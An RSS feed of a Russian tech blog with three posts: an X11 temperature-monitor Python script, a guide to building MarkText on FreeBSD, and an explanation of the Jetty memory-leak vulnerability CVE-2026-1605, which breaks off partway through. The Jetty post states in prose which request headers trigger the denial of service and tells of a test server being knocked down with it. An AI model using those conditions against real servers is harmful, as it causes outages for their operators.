<?xml version="1.0" encoding="utf-8" ?><rss version="2.0" xmlns:tt="http://teletype.in/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:media="http://search.yahoo.com/mrss/"><channel><title>Alex Chernyshev</title><generator>teletype.in</generator><description><![CDATA[Очень давно в этом вашем ойти. Видел сеть до интернета, помню интернет без фейсбука.
До сих пор пишу код.
Telegram/VK/LinkedIn/Rutube/Дзен: alex0x08]]></description><image><url>https://img4.teletype.in/files/f2/49/f24940ec-9b03-411b-9a3d-8000564face0.gif</url><title>Alex Chernyshev</title><link>https://blog.0x08.ru/</link></image><link>https://blog.0x08.ru/?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=alex0x08</link><atom:link rel="self" type="application/rss+xml" href="https://teletype.in/rss/alex0x08?offset=0"></atom:link><atom:link rel="next" type="application/rss+xml" href="https://teletype.in/rss/alex0x08?offset=10"></atom:link><atom:link rel="search" type="application/opensearchdescription+xml" title="Teletype" href="https://teletype.in/opensearch.xml"></atom:link><pubDate>Sun, 05 Apr 2026 02:49:43 GMT</pubDate><lastBuildDate>Sun, 05 Apr 2026 02:49:43 GMT</lastBuildDate><item><guid isPermaLink="true">https://blog.0x08.ru/small-temperature-mon-x11</guid><link>https://blog.0x08.ru/small-temperature-mon-x11?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=alex0x08</link><comments>https://blog.0x08.ru/small-temperature-mon-x11?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=alex0x08#comments</comments><dc:creator>alex0x08</dc:creator><title>Мой маленький мониторинг</title><pubDate>Wed, 25 Mar 2026 12:21:31 GMT</pubDate><media:content medium="image" url="https://img4.teletype.in/files/fc/a2/fca20c7e-24d1-4f65-a3e3-6aa786b15f40.png"></media:content><category>software-development</category><description><![CDATA[<img src="https://img3.teletype.in/files/2f/9b/2f9b466b-da5b-42a6-a20c-d7202b06dd84.jpeg"></img>Делюсь очередной полезной штукой из личных разработок, на этот раз на тему мониторинга температуры в компьютере.]]></description><content:encoded><![CDATA[
  <p id="7lsg">Делюсь очередной полезной штукой из личных разработок, на этот раз на тему мониторинга температуры в компьютере. </p>
  <p id="U4Ed">~120 строк на Python.</p>
  <figure id="xmoR" class="m_original">
    <img src="https://img3.teletype.in/files/2f/9b/2f9b466b-da5b-42a6-a20c-d7202b06dd84.jpeg" width="1366" />
    <figcaption>Правый верхний угол, старая версия - с прозрачным фоном.</figcaption>
  </figure>
  <h2 id="0VH0">Задача</h2>
  <p id="LwgK">Честно говоря, задача мониторинга температуры это такой своеобразный «неуловимый Джо» — <s>ненужная</s> мелкая ерунда, реализуемая в больших системах для галочки и по остаточному принципу.</p>
  <blockquote id="GKlv">Ну и конечно отображение температуры с датчиков персонального компьютера давным давно реализовано и присутствует в виде виджета во всех основных графических окружениях и для любых ОС. </blockquote>
  <p id="8FXZ">Чаще всего это выглядит как-то так:</p>
  <figure id="nHgT" class="m_column">
    <img src="https://img3.teletype.in/files/2d/f7/2df7a631-06db-40c8-98b7-c25043eae516.jpeg" width="720" />
    <figcaption>Найдите тут температуру.</figcaption>
  </figure>
  <p id="cWHl">Это все к вопросу об уникальности, важности и полезности решения, как бы заранее отвечая на самый важный вопрос <s>бытия</s>: «нах#я я все это читаю».</p>
  <p id="e9kz">Кстати одна из первых разработанных автором систем была как раз на тему мониторинга температуры у парка серверов. </p>
  <blockquote id="Ztac">Дело было давно и сервера (как и сетевое оборудование) стояли не в охлаждаемых и чистых серверных, а где придется. </blockquote>
  <p id="nBWu">С соответствующими последствиями по перегреву.</p>
  <p id="ui3W">Выглядело оно как-то так: </p>
  <figure id="ZK0v" class="m_column">
    <img src="https://img3.teletype.in/files/65/b1/65b113be-bfa0-4c05-a63c-11a26322d64f.png" width="1366" />
    <figcaption>Данные тестовые, разумеется а сам мониторинг запущен в режиме отладки, локально. </figcaption>
  </figure>
  <p id="H5lA">Так выглядит виновник сегодняшнего торжества:</p>
  <figure id="JTRJ" class="m_original">
    <img src="https://img3.teletype.in/files/6e/cd/6ecdf107-8105-4c25-92ed-612254a6a1e7.gif" width="180" />
  </figure>
  <p id="7Qp0">Исходный код можно посмотреть чуть ниже в статье или вот <a href="https://gist.github.com/alex0x08/8f743382cc1563c3140ac86cb9e36ed0" target="_blank">тут</a> в виде gist.  Теперь рассказываю подробнее как оно все работает.</p>
  <blockquote id="OBY3">Кстати думаю для многих станет сюрпризом, что X-сервер позволяет рисовать графические элементы и текст в <strong>чужих окнах</strong>.</blockquote>
  <p id="RRlU">Без предупреждения, без индикации, без каких-то отдельных прав и тд.</p>
  <p id="NDFa">Очко сотрудников СБ только что заиграло новыми красками.</p>
  <h2 id="9ICQ">Реализация</h2>
  <p id="3DuB">Поскольку у автора используется тот еще зоопарк разных систем, хотелось сделать максимально переносимое решение.</p>
  <p id="IwQi">Хардкодить все на чистом С я посчитал излишним, поэтому был взят Python и библиотека Xlib, которая есть везде, куда еще не добрались проклятые зумеры со своим Wayland.</p>
  <blockquote id="FUwM">К моему великому сожалению, оказалось что знаменитая связка Tcl/Tk не умеет работать с root window, поэтому использовать их не получится. </blockquote>
  <p id="6BF4">Именно поэтому был взят петон, да.</p>
  <p id="KnTb">Собственно <a href="https://pypi.org/project/python-xlib/" target="_blank">эта библиотека</a> является единственной внешней зависимостью в этом проекте, для FreeBSD устанавливается вот так:</p>
  <pre id="AdvT" data-lang="bash">pkg install py311-python-xlib</pre>
  <p id="8O2x">Аналогичные пакеты есть в любом линуксе и BSD. Теперь стоит рассказать про сами датчики.</p>
  <p id="G88B">Датчики температуры в случае FreeBSD отдают свои значения через <code>sysctl</code> и требуют подгрузки специального модуля ядра. </p>
  <p id="LDup">Чаще всего это будет <a href="https://man.freebsd.org/cgi/man.cgi?coretemp(4)" target="_blank">coretemp</a>:</p>
  <pre id="ILaX" data-lang="bash">kldload coretemp</pre>
  <p id="cHmk">Чтение значений датчиков будет выглядеть как-то так:</p>
  <figure id="dx4j" class="m_original">
    <img src="https://img1.teletype.in/files/cc/be/ccbe6519-66bc-4304-abae-278b6c9f8dfc.png" width="812" />
  </figure>
  <p id="8VqE">Для процессоров AMD есть отдельный модуль <a href="https://man.freebsd.org/cgi/man.cgi?amdtemp(4)" target="_blank">amdtemp</a>:</p>
  <pre id="DvKG" data-lang="bash">kldload amdtemp</pre>
  <p id="xb6E">Названия датчиков отличаются, поэтому для чтения используется немного другой паттерн:</p>
  <pre id="1PjZ">sysctl dev.amdtemp.0 |grep core</pre>
  <p id="HK26">В случае линукса температуру с датчиков можно получить из специальной виртуальной файловой системы <code>/dev</code>:</p>
  <pre id="Zspy">cat /sys/class/thermal/thermal_zone*/temp</pre>
  <p id="fSHQ">Так это выглядит в работе:</p>
  <figure id="ExYP" class="m_original">
    <img src="https://img3.teletype.in/files/2e/6b/2e6bec8e-0b0c-47a1-976c-386fc7d528da.jpeg" width="1280" />
    <figcaption>В работе на процессоре AMD</figcaption>
  </figure>
  <h2 id="UzUS">Исходный код</h2>
  <p id="uxYm">Ниже представлен полный исходный код моей утилиты, технически это <a href="https://en.wikipedia.org/wiki/Shebang_(Unix)" target="_blank">shebang</a> — самозапускаемый скрипт на Python, поэтому его нужно сохранить с расширением <code>.sh</code> и поставить бит запуска.</p>
  <p id="OcLv">Собственно код:</p>
  <pre id="ILtr" data-lang="python">#!/usr/bin/env python3

import Xlib
from Xlib import display, X   # display и X - не импортируются автоматически
import subprocess,time,logging

#настройки логирования
logging.basicConfig(level=logging.INFO)
#logging.basicConfig(level=logging.DEBUG)

# координаты на экране для отображения
POS_X = 150
POS_Y = 50
# для FreeBSD и машины с AMD
PATTERN = &#x27;sysctl dev.amdtemp.0 |grep core&#x27;
# для FreeBSD с модулем coretemp
#PATTERN = &#x27;sysctl dev.cpu |grep temperature&#x27;
# для Linux
#PATTERN = &quot;cat /sys/class/thermal/thermal_zone*/temp | awk &#x27;{ print \&quot;temp: \&quot; ($1 / 1000) \&quot;C\&quot; }&#x27;&quot;
# шрифт
FONT = &#x27;-misc-fixed-medium-r-normal--13-120-75-75-c-70-iso8859-1&#x27;
# период обновления
REFRESH_SECS = 15

last_dim = [0,0]

# определение рабочего стола
# d - display (экран)s
def get_root_window(d):
    
    screen = d.screen()
    # root window - рабочий стол по-умолчанию
    root = screen.root

    # Получаем ID всех окон верхнего уровня
    windowIDs = root.get_full_property(d.intern_atom(&#x27;_NET_CLIENT_LIST&#x27;), 
                                                  X.AnyPropertyType).value
    logging.debug(&#x27;Found %d windows.&#x27;,len(windowIDs))

    for windowID in windowIDs:
        # Create a window object from the ID to access its properties
        window = d.create_resource_object(&#x27;window&#x27;, windowID)

        try:
            # Get the window title (WM_NAME or _NET_WM_NAME)
            # Use get_wm_name() for simplicity, 
            # or look up EWMH properties for better compatibility
            window_name = window.get_wm_name()
            if window_name:
                # в продвинутых DE вроде KDE/Xfce за рабочий стол отвечает
                # отдельное окно и рисовать придется в нем
                if &#x27;Desktop&#x27; in window_name:
                    logging.debug(&quot;Found desktop ID: %d - Name: %s&quot;,
                                                 windowID,window_name)
                    return window
            else:
                # Бывает, что у окна нет заголовка
                logging.debug(&quot;ID: %d - Name: None (no WM_NAME property)&quot;,
                                                 windowID)

        except X.BadWindow:
            # Обработка ситуации, когда считываемое окно больше не существует
            logging.debug(&quot;ID: %d - Window no longer exists&quot;,windowID)
    # если отдельного окна с именем Desktop не обнаружено - рисуем
    # прямо на root window 
    return root

# очистка области
def clear_rect(msg):
    global last_dim
    # если есть сохраненные размеры - используем их
    if last_dim[0] &gt; 0:	
    	root.fill_rectangle(gc2, POS_X,POS_Y-last_dim[1], 
    	                         last_dim[0]-20, last_dim[1]+5)
    else:
        # расчет размеров надписи в пикселях
        text_extents = font.query_text_extents(msg)
        tw = text_extents.overall_width
        th = text_extents.font_ascent + text_extents.font_descent
        # очистка происходит через отрисовку черного прямоугольника
        # clear_area плохо работает с KDE
        root.fill_rectangle(gc2, POS_X,POS_Y-th, tw-20, th+5)
        # запоминаем размеры надписи для следующей очистки
        last_dim = [tw,th]

# отрисовка сообщения на экране
# msg - текст сообщения
def draw_message(msg):
    # очистка области
    clear_rect(msg)
    # отрисовка текста
    root.draw_text(gc, POS_X, POS_Y, msg)
    display.flush()

# инициализация подключения к Х-серверу
display = Xlib.display.Display()
screen = display.screen()
root = get_root_window(display)

# Access the window ID (an integer)
root_id = root.id

logging.debug(&quot;Root window ID: %d&quot;,root_id)
# для реакции на события
root.change_attributes(event_mask=X.ExposureMask)  # &quot;adds&quot; this event mask
# создание графического контекста, белый текст на черном фоне
gc = root.create_gc(foreground = screen.white_pixel, 
                    background = screen.black_pixel)
# дополнительный контекст для заливки области черным
colormap = screen.default_colormap
color = colormap.alloc_named_color(&#x27;black&#x27;) 
gc2 = root.create_gc(foreground=color.pixel)

# загружаем шрифт, которым будет отрисовываться текст
# если шрифт с таким названием не будет найден - вылетит ошибка
try:
    font = display.open_font(FONT)
    gc.font = font.id
except Exception as e:
    logging.exception(e)
    exit(1)

try:
    # бесконечный цикл, в котором происходит все действо
    while 1:
            # запуск процесса для получения значений датчиков
            process = subprocess.Popen(PATTERN, 
                    shell=True, text=True,
                    stdout=subprocess.PIPE)
            # в этой переменной будет массив строк со значениями   
            stdout_list = process.communicate()[0].split(&#x27;\n&#x27;)

            out = &#x27;&#x27;
            # делаем чистку
            for s in stdout_list:
                # убираем ошибочные строки, если нет : - нет и значения
                if &#x27;:&#x27; not in s: continue
                kv = s.split(&#x27;:&#x27;)
                # добавляем запятую в качестве разделителя 
                if len(out) &gt; 0: out+= &#x27;,&#x27;
                # добавляем значение датчика в строку
                out+= kv[1]

            logging.debug(out)
            # отрисовываем полученную строку
            draw_message(out.encode())
            # задержка между итерациями
            time.sleep(REFRESH_SECS)
            
except KeyboardInterrupt:
        # при нажатии Ctrl-C делаем очистку области экрана, где
        # происходила отрисовка виджета
        x = POS_X // 2
        y = POS_Y // 2
        root.clear_area(x,y,last_dim[0]+x,last_dim[1]+y,True)
        display.flush()</pre>
  <p id="cyyR">Как видите тут нет ООП и нет многопоточности — реализация максимально упрощена. Также не стал городить считывание параметров, поэтому ключевые настройки находятся в самом скрипте.</p>
  <p id="aGEx">Настройка логирования:</p>
  <pre id="qN5c" data-lang="python">logging.basicConfig(level=logging.INFO)
#logging.basicConfig(level=logging.DEBUG)</pre>
  <p id="47Wx">Координаты для отображения на экране (левый нижний угол):</p>
  <pre id="rYKw" data-lang="python">POS_X = 150
POS_Y = 50</pre>
  <p id="9vzy">Выбор паттерна для считывания значений датчиков:</p>
  <pre id="s9Ri" data-lang="python"># для FreeBSD и машины с AMD
PATTERN = &#x27;sysctl dev.amdtemp.0 |grep core&#x27;
# для FreeBSD с модулем coretemp
PATTERN = &#x27;sysctl dev.cpu |grep temperature&#x27;
# для Linux
PATTERN = &quot;cat /sys/class/thermal/thermal_zone*/temp | awk &#x27;{ print \&quot;temp: \&quot; ($1 / 1000) \&quot;C\&quot; }&#x27;&quot;</pre>
  <p id="Vy3j">Шрифт, которым будут отображаться значения температуры, указывается в <a href="https://wiki.archlinux.org/title/X_Logical_Font_Description" target="_blank">специальном формате</a>:</p>
  <pre id="HTaj" data-lang="python">FONT = &#x27;-misc-fixed-medium-r-normal--13-120-75-75-c-70-iso8859-1&#x27;</pre>
  <p id="vSBF">Частота обновлений в секундах:</p>
  <pre id="au26" data-lang="python">REFRESH_SECS = 15</pre>
  <p id="SNwc">Так виджет выглядит на Ubuntu и Xfce:</p>
  <figure id="CSi5" class="m_original">
    <img src="https://img2.teletype.in/files/94/20/9420f876-89dc-4e5c-87cf-2071ba733948.png" width="1366" />
  </figure>

]]></content:encoded></item><item><guid isPermaLink="true">https://blog.0x08.ru/marktext-on-freebsd</guid><link>https://blog.0x08.ru/marktext-on-freebsd?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=alex0x08</link><comments>https://blog.0x08.ru/marktext-on-freebsd?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=alex0x08#comments</comments><dc:creator>alex0x08</dc:creator><title>Запускаем MarkText на FreeBSD</title><pubDate>Mon, 16 Mar 2026 08:09:51 GMT</pubDate><media:content medium="image" url="https://img4.teletype.in/files/74/c8/74c8dee6-b3d2-4572-9bd4-f5a00d4bb89c.png"></media:content><category>unix</category><description><![CDATA[<img src="https://img1.teletype.in/files/8e/79/8e79d902-53d0-46cb-9db4-687d19661c6a.jpeg"></img>Очередные ужасы из тяжкой жизни пользователей BSD или что делать, когда нужная программа ненавидит вашу операционную систему.]]></description><content:encoded><![CDATA[
  <p id="zl7H">Очередные ужасы из тяжкой жизни пользователей BSD или что делать, когда нужная программа ненавидит вашу операционную систему. </p>
  <p id="14Ta">В помощь начинающему, продолжающему и заканчивающему автору. </p>
  <figure id="hNuH" class="m_original">
    <img src="https://img1.teletype.in/files/8e/79/8e79d902-53d0-46cb-9db4-687d19661c6a.jpeg" width="1920" />
  </figure>
  <h2 id="VoHB">Очко электрона</h2>
  <p id="7P1e">Следующим по уровню безнадежности занятием на FreeBSD, после <a href="https://blog.0x08.ru/bitnet-running-on-freebsd" target="_blank">нейросетей</a> и <a href="https://blog.0x08.ru/dotnet-on-freebsd-yeee" target="_blank">разработки на .NET</a> является работа с приложениями на <a href="https://www.electronjs.org/" target="_blank">Electron</a>.</p>
  <p id="qPCM">Широкие народные массы требуют <a href="https://github.com/electron/electron/issues/3797" target="_blank">это</a> и уже очень давно:</p>
  <figure id="iuyL" class="m_original">
    <img src="https://img4.teletype.in/files/7d/9f/7d9f3aef-f71e-4f39-9608-eae6d312afd5.png" width="927" />
  </figure>
  <p id="zMDY">Но ввиду разных причин (в первую очередь идеологических), официальной поддержки все также нет. </p>
  <p id="ewMb">И скорее всего не будет никогда.</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="UFXL">Зато есть <a href="https://github.com/tagattie/FreeBSD-Electron" target="_blank">неофициальный форк</a>, который успешно заехал в пакетную базу и довольно давно там живет.</p>
  </section>
  <p id="G2Ym">Форк очень даже живой:</p>
  <figure id="KdAO" class="m_original">
    <img src="https://img1.teletype.in/files/07/0d/070d2612-7d1e-40d4-9b2e-557989154dcb.png" width="1337" />
  </figure>
  <p id="aW04">Как можно заметить из истории коммитов выше — идет активная разработка и прием пул-реквестов.</p>
  <p id="QQMP">Но как обычно есть нюанс:</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="N9fD">Electron это <strong>фреймворк</strong> для построения десктоп-приложений с помощью одноименного движка.</p>
  </section>
  <p id="PEQp">Но портировали на FreeBSD только движок Electron, без средств сборки конечных приложений на нем. </p>
  <p id="Awdh">Речь в первую очередь про <a href="https://www.electron.build/" target="_blank">electron-builder</a>: </p>
  <blockquote id="R7wn">A complete solution to package and build a ready for distribution <a href="https://electronjs.org/" target="_blank">Electron</a>, <a href="https://proton-native.js.org/" target="_blank">Proton Native</a> app for macOS, Windows and Linux with “auto update” support out of the box. </blockquote>
  <p id="DoG4">Это не означает, что приложение на Electron не будет работать на FreeBSD совсем, но и не значит, что полноценная разработка таких приложений там возможна. </p>
  <p id="Yg7e"><strong>Немного работает</strong> — так это обычно описывают.</p>
  <figure id="QVY5" class="m_original">
    <img src="https://img3.teletype.in/files/61/ec/61ecfbd3-1a52-4e99-9c06-5ec6ea883040.png" width="834" />
  </figure>
  <h2 id="QFT1">MarkText</h2>
  <p id="t4Oj"><a href="https://marktext.me/" target="_blank">MarkText</a> это такой редактор для <a href="https://en.wikipedia.org/wiki/Markdown" target="_blank">Markdown</a>-разметки, один из самых лучших, известных и популярных:</p>
  <blockquote id="qLiR">A simple and elegant open-source markdown editor that focused on speed and usability.</blockquote>
  <p id="opZ0">Именно его я использую для верстки своих статей и документации.</p>
  <p id="aLJL">К сожалению редактор построен на том самом Electron, поэтому для нормальных людей, не отягощенных двумя десятилетиями разработки нет вариантов его использования на FreeBSD — ни в Wine, ни с помощью <a href="https://docs.freebsd.org/en/books/handbook/linuxemu/" target="_blank">слоя совместимости с Linux</a> эта штука не работает.</p>
  <p id="CJdx">Хотя пожелания <a href="https://github.com/marktext/marktext/issues/3505" target="_blank">есть</a>:</p>
  <figure id="CH4u" class="m_original">
    <img src="https://img4.teletype.in/files/34/d9/34d98528-19de-40c4-8f8d-095b4b5744b4.png" width="974" />
  </figure>
  <h2 id="ThSk">Скотская сборка</h2>
  <p id="Zolt">Как бы это ни было удивительно, но Node.js и npm давно и успешно работают во FreeBSD, поэтому все спокойно устанавливается из пакетов:</p>
  <pre id="F1ka" data-lang="bash">pkg install node25 electron37 npm-node25 </pre>
  <p id="QElG">Забираем исходники редактора:</p>
  <pre id="T7qR" data-lang="bash">git clone --depth 1 https://github.com/marktext/marktext.git</pre>
  <p id="gP9f">Активная разработка по какой-то причине остановлена, народ <a href="https://github.com/marktext/marktext/issues/4132" target="_blank">начинает беспокоиться</a>, поэтому я не стал заморачиваться релизными версиями и собирал из текущей ветки. </p>
  <p id="CosU">Сборка использует еще один пакетный менеджер — <a href="https://yarnpkg.com/" target="_blank">yarn</a>, который необходимо установить с помощью <code>npm</code>:</p>
  <pre id="PNCL" data-lang="bash">npm -g i yarn</pre>
  <p id="cYtr">Дальше начинается первый нюанс:</p>
  <blockquote id="mJd3">необходимо отключить скачивание бинарной сборки Electron, поскольку ее не существует для FreeBSD.</blockquote>
  <p id="9Yxu">Перед запуском скачивания зависимостей, необходимо выставить <a href="https://www.electronjs.org/docs/latest/tutorial/installation" target="_blank">специальную переменную</a>:</p>
  <pre id="Pbgp" data-lang="bash">export ELECTRON_SKIP_BINARY_DOWNLOAD=1 
yarn install</pre>
  <p id="qwhd">Через какое-то время (скачивание зависимостей в проекте на Node.js — <strong>очень</strong> долгий и болезненный процесс) в корневом каталоге должна появиться папка <code>node_modules</code> откровенно скотских размеров:</p>
  <figure id="EMbk" class="m_original">
    <img src="https://img4.teletype.in/files/3f/dc/3fdc4fab-3b1b-4512-a356-304bd0cec9cc.png" width="1025" />
  </figure>
  <p id="KQxp">Следующим шагом необходимо убрать искусственную заглушку, вставленную автором MarkText для того чтобы редактор не пытались запускать там где не надо — частая практика для проектов на Electron.</p>
  <p id="mkpH">В файле <code>src/main/index.js</code>есть вот такой замечательный код:</p>
  <pre id="Pu7i" data-lang="javascript">// NOTE: We only support Linux, macOS and Windows but not BSD nor SunOS.
if (!/^(darwin|win32|linux)$/i.test(process.platform)) {
  process.stdout.write(&#x60;Operating system &quot;${process.platform}&quot; is not supported! Please open an issue at &quot;https://github.com/marktext/marktext&quot;.\n&#x60;)
  process.exit(1)
}</pre>
  <p id="6qSa">Не представляю кто смог упороться до такой степени, чтобы гонять десктоп-приложение на Electron на Солярисе, но думаю не будет откровением, что вызов <code>process.exit(1)</code> необходимо закомментировать для продолжения банкета.</p>
  <p id="v8Pk">Теперь переходим к собственно сборке.</p>
  <p id="8BmT">Штатно сборка MarkText происходит вызовом команды <code>yarn build</code>, но если посмотреть внутрь файла <code>package.json</code>, в котором находятся все команды сборки, увидим:</p>
  <pre id="MLA4" data-lang="javascript">..
&quot;build&quot;: &quot;node .electron-vue/build.js &amp;&amp; electron-builder&quot;,
..</pre>
  <p id="N0Qg">Вызов <code>electron-builder</code> очевидно упадет, поскольку он не был портирован на FreeBSD и плотно завязан на готовые бинарные части и ветвления логики под конкретную поддерживаемую ОС.</p>
  <p id="wU5P">Так что вызываем лишь первую часть, причем вручную (без всяких yarn):</p>
  <pre id="1Pj5" data-lang="bash">node .electron-vue/build.js</pre>
  <p id="Nmmd">Должен отработать webpack, sass и в каталоге dist будет находиться готовое к запуску приложение на Electron.</p>
  <p id="8FB7">К сожалению в «обнаженном» виде, без прилепленного рантайма, что однако никак не мешает его запустить:</p>
  <pre id="taDC" data-lang="bash">electron37 dist/electron/main.js</pre>
  <p id="U7VA">Так выглядит запущенный MarkText на FreeBSD, в работе над английскими версиями статей:</p>
  <figure id="k2mc" class="m_original">
    <img src="https://img1.teletype.in/files/85/36/8536f375-91a9-4870-bf7b-ffe040ec6627.png" width="1322" />
  </figure>
  <p id="u6Ms">Для удобства использования можно перенести каталоги <code>dist</code> и <code>node_modules</code> в отдельное место:</p>
  <figure id="EDts" class="m_original">
    <img src="https://img4.teletype.in/files/7f/f8/7ff80e71-80bc-47a3-ad86-15295a32e5c5.png" width="1085" />
  </figure>
  <p id="IfKc">И запускать вот таким скриптом:</p>
  <pre id="MFPd" data-lang="bash">#!/bin/sh

/usr/local/bin/electron37 dist/electron/main.js</pre>
  <p id="DeiR">Готовый <a href="https://t.me/alex0x09/2665" target="_blank">архив со сборкой</a> можно скачать в нашем Телеграм-канале.</p>

]]></content:encoded></item><item><guid isPermaLink="true">https://blog.0x08.ru/jetty-leak-cve-2026-1605</guid><link>https://blog.0x08.ru/jetty-leak-cve-2026-1605?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=alex0x08</link><comments>https://blog.0x08.ru/jetty-leak-cve-2026-1605?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=alex0x08#comments</comments><dc:creator>alex0x08</dc:creator><title>Март, Jetty и утекшая память</title><pubDate>Tue, 10 Mar 2026 11:10:40 GMT</pubDate><media:content medium="image" url="https://img2.teletype.in/files/50/c5/50c5f4c1-8240-48d2-8c18-78d4b8b786a3.png"></media:content><category>software-development</category><description><![CDATA[<img src="https://img3.teletype.in/files/6b/ff/6bff1c1b-fbd0-4e6a-8aad-444bf2a0d4c5.jpeg"></img>За окном весна, на улице уже вовсю и ярко светит солнце, поют птички и тает последний снег. А в знаменитом сервере Jetty обнаружилась новая дыра космических масштабов.]]></description><content:encoded><![CDATA[
  <p id="7FEw">За окном весна, на улице уже вовсю и ярко светит солнце, поют птички и тает последний снег. А в знаменитом сервере Jetty обнаружилась новая дыра космических масштабов.</p>
  <figure id="czyv" class="m_original">
    <img src="https://img3.teletype.in/files/6b/ff/6bff1c1b-fbd0-4e6a-8aad-444bf2a0d4c5.jpeg" width="1366" />
    <figcaption>Почти 4Гб сожранной памяти меньше чем за минуту работы.</figcaption>
  </figure>
  <h2 id="bzNw">Статус</h2>
  <p id="HSbz">Номер уязвимости: <a href="https://nvd.nist.gov/vuln/detail/CVE-2026-1605" target="_blank">CVE-2026-1605</a></p>
  <p id="Jg8A">Вектор атаки: <em>CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</em></p>
  <p id="dfRn">Уровень: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?name=CVE-2026-1605&vector=AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H&version=3.1&source=Eclipse%20Foundation" target="_blank">7.5 HIGH</a></p>
  <p id="gezn">..</p>
  <p id="FiZG">acidburn96: хочешь фокус покажу</p>
  <p id="7mEZ">alex0x08:  только не как в прошлый раз ж)</p>
  <p id="4JEF">acidburn96: стенд проекта [вырезаноцензурой] еще работает? </p>
  <p id="7zbI">alex0x08:  работает, пока еще не успели снести</p>
  <p id="ZUNQ">acidburn96: открой его в браузере</p>
  <p id="mFw5">alex0x08:  открыл</p>
  <p id="gSfK">alex0x08: и что дальше?</p>
  <p id="o2We">acidburn96: жди</p>
  <p id="ijQQ">acidburn96: жди</p>
  <p id="Gk3f">acidburn96: жди</p>
  <p id="mtUo">acidburn96: проверяй</p>
  <p id="lDv5">acidburn96: жми F5</p>
  <p id="O7lA">alex0x08:  так блин</p>
  <p id="NcXs">alex0x08:  слыш Копперфильд </p>
  <p id="CY6X">alex0x08:  и где стенд? куда все делось?</p>
  <p id="83hH"></p>
  <figure id="NnFv" class="m_original">
    <img src="https://img4.teletype.in/files/7c/b4/7cb463de-88d8-499c-a51a-9fbd7b4c009e.png" width="970" />
    <figcaption>Шапка с описанием уязвимости в Github Advisory Database, который я теперь читаю каждое утро вместо новостей.</figcaption>
  </figure>
  <h2 id="MWXk">Уязвимость</h2>
  <p id="vERB">Еще в январе 2026 года в проекте Eclipse Jetty — такой очень известный сервлет-контейнер для Java, была обнаружена <a href="https://gitlab.eclipse.org/security/cve-assignment/-/issues/79" target="_blank">серьезная проблема</a> с обработкой сжатых входящих запросов.</p>
  <blockquote id="AkqX">Догадываюсь, что далеко не всем из читателей известно о том что помимо сжатых ответов (статику сжимают наверное все), бывают еще и сжатые <strong>запросы</strong> к веб-серверам, поэтому <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Content-Encoding" target="_blank">вот тут</a> немного больше информации о таком замечательном функционале.</blockquote>
  <p id="1Gow">Как бы то ни было, в начале марта информация по этой проблеме была <a href="https://github.com/advisories/GHSA-xxh7-fcf3-rj7f" target="_blank">выложена в публичный доступ</a>.</p>
  <p id="qfjO">Правда без PoC и с весьма мутным описанием:</p>
  <blockquote id="HT0S">The leak is created by requests where the request is inflated (<code>Content-Encoding: gzip</code>) and the response is not deflated (no <code>Accept-Encoding: gzip</code>). In these conditions, a new inflator will be created by <code>GzipRequest</code> and never released back into <code>GzipRequest.__inflaterPool</code> because <code>gzipRequest.destory()</code> is not called.</blockquote>
  <p id="VwaS">Что впрочем не помешало восстановить логику работы по одним только <a href="https://github.com/jetty/jetty.project/pull/14262/files" target="_blank">коммитам</a> с исправлениями. </p>
  <p id="P53X">В чем суть:</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="kAE2">при обработке входящих запросов к серверу с заголовком <code>Content-Encoding: gzip</code> и сжатым содержимым, в некоторых случаях происходит утечка памяти.</p>
  </section>
  <p id="fO2C">Чтобы это сработало, необходимо чтобы клиент присылал только заголовок <code>Content-Encoding: gzip</code>, но не присылал <code>Accept-Encoding: gzip</code>, по наличию которого включается сжатие ответов.</p>
  <p id="RNRy">Надо заметить, что в обычной жизни такая комбинация невозможна и например Google Chrome отправляет заголовок <code>Accept-Encoding: gzip</code> <strong>всегда</strong>, вне зависимости от того сжат ли запрос.</p>
  <h2 id="EwD2">Зона риска</h2>
  <p id="ZT4j">Хотя проблема затрагивает только 12ю версию Jetty, но зато <em>все релизы</em> с 2023 года и по март 2026го, страшные красные плашки на артефактах вот <a href="https://mvnrepository.com/artifact/org.eclipse.jetty/jetty-server/versions" target="_blank">тут</a> не дадут соврать.</p>
  <p id="6znZ">Поскольку Jetty чаще всего используется как встраиваемый движок, а не отдельно устанавливаемое приложение — в зоне риска <a href="https://mvnrepository.com/artifact/org.eclipse.jetty/jetty-server/used-by" target="_blank">все проекты</a>, которые использовали или используют артефакт <code>jetty-server</code> за последние <strong>три года</strong>.</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="O44c">Что-то около <em>четырех с половиной тысяч</em> проектов, согласно статистике.</p>
  </section>
  <p id="iESn">Но есть что-то и хорошее во всем этом бесконечном мраке ужаса и отчаяния:</p>
  <blockquote id="8W6T">обработка сжатых запросов и ответов по-умолчанию <strong>выключена</strong> и требует отдельной настройки. </blockquote>
  <p id="ygpu">Правда эта настройка чуть ли не первое, что включают на реальном продакшне при сколь-нибудь существенной нагрузке, но не будем снова о грустном.</p>
  <h2 id="hJl1">Исправление</h2>
  <p id="nSOV">На момент написания этих строк, проблема уже <strong>исправлена</strong>. </p>
  <p id="NiBe">Для ветки 12.1.х начиная с <code>12.1.6</code>, для более ранней и стабильной 12.0.х — начиная с <code>12.0.32</code>.</p>
  <p id="Ampd">Если в вашем проекте Jetty используется в виде зависимости, вроде:</p>
  <pre id="x2H2" data-lang="xml">&lt;dependency&gt;
